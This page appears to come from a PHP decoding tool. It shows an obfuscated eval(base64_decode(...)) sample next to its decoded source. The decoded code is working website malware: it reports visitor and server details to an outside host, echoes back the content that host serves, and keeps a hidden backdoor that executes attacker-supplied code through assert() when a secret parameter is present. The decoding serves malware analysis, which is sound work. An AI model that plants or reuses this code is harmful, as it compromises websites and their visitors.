Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(base64_decode("aWYgKGlzc2V0KCRpYnYpKSB7IGVjaG8gJGlidjsgfSBlbHNlIHtpZighZW1wdHkoJF9DT0..

Decoded Output download

if (isset($ibv)) { echo $ibv; } else {if(!empty($_COOKIE["client_check"]))die($_COOKIE["client_check"]);if(!isset($c_["HTTP_ACCEPT_CHARSET"])){if(preg_match("!.!u",file_get_contents($_SERVER["SCRIPT_FILENAME"]))){$c0="UTF-8";}else{$c0="windows-1251";}}else{$c0=$c_["HTTP_ACCEPT_CHARSET"];}if(function_exists("curl_init")){$c1=curl_init("http://qq12.ml/get.php?d=".urlencode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"])."&u=".urlencode($_SERVER["HTTP_USER_AGENT"])."&c=".$c0."&i=1&ip=".$_SERVER["REMOTE_ADDR"]."&h=".md5("584ac926411bdffade3a7a1e4dc40925".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"].$_SERVER["HTTP_USER_AGENT"].$c0."1"));curl_setopt($c1,42,false);curl_setopt($c1,19913,true);$ibv =  curl_exec($c1);curl_close($c1);}elseif(ini_get("allow_url_fopen")==1){$ibv = file_get_contents("http://qq12.ml/get.php?d=".urlencode($_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"])."&u=".urlencode($_SERVER["HTTP_USER_AGENT"])."&c=".$c0."&i=1&ip=".$_SERVER["REMOTE_ADDR"]."&h=".md5("584ac926411bdffade3a7a1e4dc40925".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"].$_SERVER["HTTP_USER_AGENT"].$c0."1"));} if (isset($ibv)) { echo $ibv; } if(isset($_REQUEST["p"]) && $_REQUEST["p"] == "c93dd7d1") { @assert($_REQUEST["c"]); }}

Did this file decode correctly?

Original Code

eval(base64_decode("aWYgKGlzc2V0KCRpYnYpKSB7IGVjaG8gJGlidjsgfSBlbHNlIHtpZighZW1wdHkoJF9DT09LSUVbImNsaWVudF9jaGVjayJdKSlkaWUoJF9DT09LSUVbImNsaWVudF9jaGVjayJdKTtpZighaXNzZXQoJGNfWyJIVFRQX0FDQ0VQVF9DSEFSU0VUIl0pKXtpZihwcmVnX21hdGNoKCIhLiF1IixmaWxlX2dldF9jb250ZW50cygkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKSl7JGMwPSJVVEYtOCI7fWVsc2V7JGMwPSJ3aW5kb3dzLTEyNTEiO319ZWxzZXskYzA9JGNfWyJIVFRQX0FDQ0VQVF9DSEFSU0VUIl07fWlmKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpeyRjMT1jdXJsX2luaXQoImh0dHA6Ly9xcTEyLm1sL2dldC5waHA/ZD0iLnVybGVuY29kZSgkX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIiZ1PSIudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSkuIiZjPSIuJGMwLiImaT0xJmlwPSIuJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uIiZoPSIubWQ1KCI1ODRhYzkyNjQxMWJkZmZhZGUzYTdhMWU0ZGM0MDkyNSIuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0uJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLiRjMC4iMSIpKTtjdXJsX3NldG9wdCgkYzEsNDIsZmFsc2UpO2N1cmxfc2V0b3B0KCRjMSwxOTkxMyx0cnVlKTskaWJ2ID0gIGN1cmxfZXhlYygkYzEpO2N1cmxfY2xvc2UoJGMxKTt9ZWxzZWlmKGluaV9nZXQoImFsbG93X3VybF9mb3BlbiIpPT0xKXskaWJ2ID0gZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly9xcTEyLm1sL2dldC5waHA/ZD0iLnVybGVuY29kZSgkX1NFUlZFUlsiU0VSVkVSX05BTUUiXS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIiZ1PSIudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSkuIiZjPSIuJGMwLiImaT0xJmlwPSIuJF9TRVJWRVJbIlJFTU9URV9BRERSIl0uIiZoPSIubWQ1KCI1ODRhYzkyNjQxMWJkZmZhZGUzYTdhMWU0ZGM0MDkyNSIuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0uJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLiRjMC4iMSIpKTt9IGlmIChpc3NldCgkaWJ2KSkgeyBlY2hvICRpYnY7IH0gaWYoaXNzZXQoJF9SRVFVRVNUWyJwIl0pICYmICRfUkVRVUVTVFsicCJdID09ICJjOTNkZDdkMSIpIHsgQGFzc2VydCgkX1JFUVVFU1RbImMiXSk7IH19")); (0)

Function Calls

base64_decode 1

Variables

None

Stats

MD5 a11a2d86b65ca1041e4b0841d0d57ac2
Eval Count 1
Decode Time 86 ms